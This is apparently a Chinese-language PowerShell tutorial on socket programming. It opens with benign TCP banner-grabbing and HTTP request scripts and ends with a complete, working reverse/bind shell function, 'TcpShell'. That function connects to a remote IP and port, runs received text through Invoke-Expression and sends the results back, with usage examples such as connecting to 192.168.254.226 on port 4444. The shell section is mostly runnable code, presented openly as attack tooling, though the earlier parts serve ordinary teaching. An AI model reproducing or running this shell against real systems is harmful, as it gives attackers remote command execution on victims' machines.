Powershell(4)-Socket网络编程

这一小节我们介绍Powershell中的Socket编程,网络编程是所有语言中绕不开的核心点,下面我们通过对代码的分析来让大家对PS中的Socket有一个初步的了解。

Scoket-Tcp编程

开始之前我们先想想为什么要学习socket编程,那么最直观的是端口扫描,那么还有可能是反弹shell之类的应用。进行Socket编程只需要调用.Net框架即可,这里先使用TCP来示例:

这里是去打开一个TCP连接到本地的21端口,并获取21端口返回的Banner信息,其中GetOutput函数看不了可以先不看,其用来获取stream中的数据,主要看Main函数内容:

1. Tcp-Demo.ps1
2. function GetOutput
3. {
4. ## 创建一个缓冲区获取数据
5. $buffer = new-object System.Byte[] 1024
6. $encoding = new-object System.Text.AsciiEncoding

8. $outputBuffer = ""
9. $findMore = $false

11. ## 从stream读取所有的数据,写到输出缓冲区
12. do{
13. start-sleep -m 1000
14. $findmore = $false
15. # 读取Timeout
16. $stream.ReadTimeout = 1000

18. do{
19. try {
20. $read = $stream.Read($buffer, 0, 1024)
21. if($read -gt 0){
22. $findmore = $true
23. $outputBuffer += ($encoding.GetString($buffer, 0, $read))
24. }
25. } catch { $findMore = $false; $read = 0 }
26. } while($read -gt 0)
27. } while($findmore)

29. $outputBuffer
30. }

32. function Main{
33. # 定义主机和端口
34. $remoteHost = "127.0.0.1"
35. $port = 21
36. # 定义连接Host与Port
37. $socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port)
38. # 进行连接
39. $stream = $socket.GetStream()
40. # 获取Stream
41. $writer = new-object System.IO.StreamWriter $stream
42. # 创建IO对象
43. $SCRIPT:output += GetOutput
44. # 声明变量
45. if($output){
46. # 输出
47. foreach($line in $output.Split("`n"))
48. {
49. write-host $line
50. }
51. $SCRIPT:output = ""
52. }
53. }
54. . Main

我们来看看输出结果:

1. PS C:\Users\rootclay\Desktop\powershell> . .\Tcp-Demo.ps1
2. 220 Microsoft FTP Service

这样就打开了21端口的连接,并且获取到了21端口的banner信息.

那么有过端口扫描编写的朋友肯定已经看到了,这种方式是直接打开连接,并不能获取到一些需要发包才能返回banner的端口信息,典型的80端口就是如此,我们需要给80端口发送特定的信息才能得到Response, 当然还有许多类似的端口,比如3389端口, 下面我们来看看我们如何使用powershell实现这项功能.

1. Tcp-Demo2.ps1
2. function GetOutput
3. {
4. ... # 代码和上面的一样
5. }

7. function Main{
8. # 定义主机和端口
9. $remoteHost = "127.0.0.1"
10. $port = 80
11. # 定义连接Host与Port
12. $socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port)
13. # 进行连接
14. $stream = $socket.GetStream()
15. # 获取Stream
16. $writer = new-object System.IO.StreamWriter $stream
17. # 创建IO对象
18. $SCRIPT:output += GetOutput
19. # 声明变量, userInput为要发包的内容,这里我们需要发送一个GET请求给Server
20. $userInput = "GET / HTTP/1.1 `nHost: localhost  `n`n"
21. # 定义发包内容
22. foreach($line in $userInput)
23. {
24. # 发送数据
25. $writer.WriteLine($line)
26. $writer.Flush()
27. $SCRIPT:output += GetOutput
28. }

30. if($output){
31. # 输出
32. foreach($line in $output.Split("`n"))
33. {
34. write-host $line
35. }
36. $SCRIPT:output = ""
37. }
38. }
39. . Main

我们来看看输出:

1. PS C:\Users\rootclay\Desktop\powershell> . .\Tcp-Demo2.ps1
2. HTTP/1.1 200 OK
3. Content-Type: text/html
4. Accept-Ranges: bytes
5. ETag: "5e26ec16b73ad31:0"
6. Server: Microsoft-IIS/7.5
7. Content-Length: 689

9. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
10. <html xmlns="http://www.w3.org/1999/xhtml">
11. <head>
12. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
13. <title>IIS7</title>
14. <style type="text/css">
15. </style>
16. </head>
17. <body>
18. ...
19. </body>
20. </html>

我们下面对这项功能进行一个整合:

我们可以发包给一个端口,也可以直接连接一个端口,这里已经实现TCP,http,https三种常见协议的访问

1. ########################################
2. ## Tcp-Request.ps1
3. ##
4. ## Example1:
5. ##
6. ## $http = @"
7. ## GET / HTTP/1.1
8. ## Host:127.0.0.1
9. ## `n`n
10. ## "@
11. ##
12. ## `n 在Powershell中代表换行符
13. ## $http | .\Tcp-Request localhost  80
14. ##
15. ## Example2:
16. ## .\Tcp-Request localhost 80
17. ########################################

19. ## 管理参数输入param()数组
20. param(
21. [string] $remoteHost = "localhost",
22. [int] $port = 80,
23. [switch] $UseSSL,
24. [string] $inputObject,
25. [int] $commandDelay = 100
26. )

28. [string] $output = ""

30. ## 获取用户输入模式
31. $currentInput = $inputObject
32. if(-not $currentInput)
33. {
34. $SCRIPT:currentInput = @($input)
35. }
36. # 脚本模式开关, 如果脚本能读取到输入, 使用发包模式, 如果没有输入使用TCP直连模式
37. $scriptedMode = [bool] $currentInput

39. function Main
40. {
41. ## 打开socket连接远程机器和端口
42. if(-not $scriptedMode)
43. {
44. write-host "Connecting to $remoteHost on port $port"
45. }
46. ## 异常追踪
47. trap { Write-Error "Could not connect to remote computer: $_"; exit }
48. $socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port)

50. if(-not $scriptedMode)
51. {
52. write-host "Connected. Press ^D(Control + D) followed by [ENTER] to exit.`n"
53. }

55. $stream = $socket.GetStream()

57. ## 如果有SSl使用SSLStream获取Stream
58. if($UseSSL)
59. {
60. $sslStream = New-Object System.Net.Security.SslStream $stream,$false
61. $sslStream.AuthenticateAsClient($remoteHost)
62. $stream = $sslStream
63. }

65. $writer = new-object System.IO.StreamWriter $stream

67. while($true)
68. {
69. ## 获取得到的Response结果
70. $SCRIPT:output += GetOutput

73. ## 如果我们使用了管道输入的模式,我们发送我们的命令,再接受输出,并退出
74. if($scriptedMode)
75. {
76. foreach($line in $currentInput)
77. {
78. $writer.WriteLine($line)
79. $writer.Flush()
80. Start-Sleep -m $commandDelay
81. $SCRIPT:output += GetOutput
82. }

84. break
85. }
86. ## 如果没有使用事先管道输入的模式直接读取TCP回包
87. else
88. {
89. if($output)
90. {
91. # 逐行输出
92. foreach($line in $output.Split("`n"))
93. {
94. write-host $line
95. }
96. $SCRIPT:output = ""
97. }

99. ## 获取用户的输入,如果读取到^D就退出
100. $command = read-host
101. if($command -eq ([char] 4)) { break; }

103. $writer.WriteLine($command)
104. $writer.Flush()
105. }
106. }

108. ## Close the streams
109. $writer.Close()
110. $stream.Close()

112. ## 如果我们使用了管道输入的模式,这里输出刚才读取到服务器返回的数据
113. if($scriptedMode)
114. {
115. $output
116. }
117. }

119. ## 获取远程服务器的返回数据
120. function GetOutput
121. {
122. ## 创建一个缓冲区获取数据
123. $buffer = new-object System.Byte[] 1024
124. $encoding = new-object System.Text.AsciiEncoding
125. $outputBuffer = ""
126. $findMore = $false

128. ## 从stream读取所有的数据,写到输出缓冲区
129. do
130. {
131. start-sleep -m 1000
132. $findmore = $false
133. $stream.ReadTimeout = 1000

135. do
136. {
137. try
138. {
139. $read = $stream.Read($buffer, 0, 1024)

141. if($read -gt 0)
142. {
143. $findmore = $true
144. $outputBuffer += ($encoding.GetString($buffer, 0, $read))
145. }
146. } catch { $findMore = $false; $read = 0 }
147. } while($read -gt 0)
148. } while($findmore)

150. $outputBuffer
151. }
152. . Main

那么至此我们已经完成了对TCP端口的打开并获取对应的信息,其中很多的关键代码释义我已经详细给出,我们主要以TCP为例,由于UDP应用场景相对于TCP较少,关于UDP的编写可自行编写。

这个脚本加以修改就是一个Powershell完成的扫描器了,端口扫描器我们放在下一节来分析,我们这里最后看一个反弹shell的ps脚本, 同样在注释中详细解释了代码块的作用。

1. function TcpShell{
2. <#

4. .DESCRIPTION
5. 一个简单的Shell连接工具, 支持正向与反向

7. .PARAMETER IPAddress
8. Ip地址参数

10. .PARAMETER Port
11. port参数

13. .EXAMPLE
14. 反向连接模式
15. PS > TcpShell -Reverse -IPAddress 192.168.254.226 -Port 4444

17. .EXAMPLE
18. 正向连接模式
19. PS > TcpShell -Bind -Port 4444

21. .EXAMPLE
22. IPV6地址连接
23. PS > TcpShell -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
24. #>
25. # 参数绑定
26. [CmdletBinding(DefaultParameterSetName="reverse")] Param(

28. [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
29. [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
30. [String]
31. $IPAddress,

33. [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
34. [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
35. [Int]
36. $Port,

38. [Parameter(ParameterSetName="reverse")]
39. [Switch]
40. $Reverse,

42. [Parameter(ParameterSetName="bind")]
43. [Switch]
44. $Bind

46. )

49. try
50. {
51. # 如果检测到Reverse参数,开启反向连接模式
52. if ($Reverse)
53. {
54. $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
55. }

57. # 使用正向的连接方式, 绑定本地端口, 用于正向连接
58. if ($Bind)
59. {
60. # Tcp连接监听服务端
61. $server = [System.Net.Sockets.TcpListener]$Port
62. # Tcp连接开始
63. $server.start()
64. # Tcp开始接受连接
65. $client = $server.AcceptTcpClient()
66. }

68. $stream = $client.GetStream()
69. [byte[]]$bytes = 0..65535|%{0}

71. # 返回给连接的用户一个简单的介绍,目前是使用什么的用户来运行powershell的, 并打印powershell的banner信息
72. $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
73. $stream.Write($sendbytes,0,$sendbytes.Length)

75. # 展示一个交互式的powershell界面
76. $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
77. $stream.Write($sendbytes,0,$sendbytes.Length)

79. # while循环用于死循环,不断开连接
80. while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
81. {
82. # 指定EncodedText为Ascii对象, 用于我们后面的调用来编码
83. $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
84. # 获取用户的输入
85. $data = $EncodedText.GetString($bytes,0, $i)
86. try
87. {
88. # 调用Invoke-Expression来执行我们获取到的命令, 并打印获得的结果
89. # Invoke-Expression会把所有的传入命令当作ps代码执行
90. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
91. }
92. catch
93. {
94. # 错误追踪
95. Write-Warning "Execution of command error."
96. Write-Error $_
97. }
98. $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
99. # 错误打印
100. $x = ($error[0] | Out-String)
101. $error.clear()
102. $sendback2 = $sendback2 + $x

104. # 返回结果
105. $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
106. $stream.Write($sendbyte,0,$sendbyte.Length)
107. $stream.Flush()
108. }
109. # 关闭连接
110. $client.Close()
111. if ($server)
112. {
113. $server.Stop()
114. }
115. }
116. catch
117. {
118. # 获取错误信息,并打印
119. Write-Warning "Something went wrong!."
120. Write-Error $_
121. }
122. }

简单的分析在注释已经提到, 其中Invoke-Expression -Command后接的代码都会被看作powershell来执行, 我们来看看正向连接的执行效果, 我们在172.16.50.196机器上执行下面的代码

1. PS C:\Users\rootclay> cd .\Desktop\powershell
2. PS C:\Users\rootclay\Desktop\powershell> . .\Tcp-Shell.ps1
3. PS C:\Users\rootclay\Desktop\powershell> TcpShell -bind -port 4444

连接这台机器, 结果如下: Powershell(4)-Socket网络编程 - 图1

反向类似执行即可

大家可以看到这个脚本的最开始有一大块注释,这些注释无疑是增强脚本可读性的关键,对于一个脚本的功能和用法都有清晰的讲解,那么我们来看看如何写这些注释呢。

1. <#

3. .DESCRIPTION
4. 描述区域,主要写你脚本的一些描述、简介等

6. .PARAMETER IPAddress
7. 参数介绍区域,你可以描述你的脚本参数的详情

9. .EXAMPLE
10. 用例描述区域, 对于你的脚本的用例用法之类都可以在这里描述

12. 反向连接模式
13. PS > TcpShell -Reverse -IPAddress 192.168.254.226 -Port 4444

15. #>

最后我们使用Get-Help命令就能看到我们编辑的这些注释内容:

Powershell(4)-Socket网络编程 - 图2